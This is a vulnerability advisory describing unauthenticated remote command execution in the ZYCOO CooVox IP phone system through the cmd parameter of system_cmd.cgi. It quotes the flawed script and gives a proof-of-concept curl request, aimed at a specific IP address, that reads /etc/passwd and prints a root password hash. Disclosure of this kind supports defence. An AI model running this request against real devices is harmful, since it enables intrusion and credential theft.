ZYCOO IP phone system suffers from a remote command execution vulnerability.
fe4566ca116a6959a9c74396d2775c6aef5c966959905b694638e5886241a34c
Vulnerable hardware : ZYCOO IP phone system
Vendor : zycoo.com
Author : Ahmed sultan (@0x4148)
Email : 0x4148@gmail.com
Summary : According to the vendor's site ,
CooVox Series IP Phone System is the most innovative solution for VoIP
telecommunication in SMB (Small and Medium-sized Business) market.
They provide not only traditional PBX functions such as automated attendant
and voicemail,
but also offer many advance telephony features, including remote
extensions, remote office connection,
IVR, call recording, call detail records(CDR)a|
Vulnerable file : /www/cgi-bin/system_cmd.cgi
Code shot :
#!/bin/hush
printf '\r\n'
if [ -n "$REQUEST_METHOD" ]; then
case "$REQUEST_METHOD" in
(GET)
if [ -n "$QUERY_STRING" ]; then
for args in `echo "$QUERY_STRING" | tr "&" " "`
do
param=`echo "$args" | cut -d "=" -f 1`
value=`echo "$args" | cut -d "=" -f 2`
eval "export $param=$value"
done
fi
;;
esac
fi
INI_FILE=/etc/asterisk/manager.conf
INI_SECTION=$username
eval `sed -e 's/[[:space:]]*\=[[:space:]]*/=/g' \
-e 's/;.*$//' \
-e 's/[[:space:]]*$//' \
-e 's/^[[:space:]]*//' \
-e "s/^\(.*\)=\([^\"']*\)$/\1=\'\2\'/" \
< $INI_FILE \
| sed -n -e "/^\[$INI_SECTION\]/,/^\s*\[/{/^[^;].*\=.*/p;}"`
password="`/etc/scripts/decodeURI $password`"
[ -z "$secret" ] && secret=`/etc/scripts/getkeyvalue.sh ${INI_SECTION}
vmsecret`
if [ "$password" = "$secret" ]; then
cmd=`echo $cmd | sed 's/%20/ /g'`
# cmd=`echo $cmd | sed -e's/%\([0-9A-F][0-9A-F]\)/\\\\\x\1/g;s/?r//g'
| xargs echo`
$cmd
the GET parameter cmd is freely available to directly execute system
commands with no perior required authentication
which lead to full hardware takeover
POC
[0x4148:/R1z]# curl
http://124.108.52.121:9999/cgi-bin/system_cmd.cgi\?cmd\='cat%20/etc/passwd'
root:$1$C6ouMLFa$pb2/Bu1bcWpBNcX38jTva0:0:0:root:/:/bin/sh
nobody:x:99:99:Nobody::
Also by reading file /etc/asterisk/manager.conf
hardware admin's password can be obtained in plain text
Fixing?
Unfortunately the hardware frontend really depend on this file , and the
vendor is super lazy on replying on the emails regarding this vulnerability
so , best fixation for now is enabling the web interface browsing from the
local network only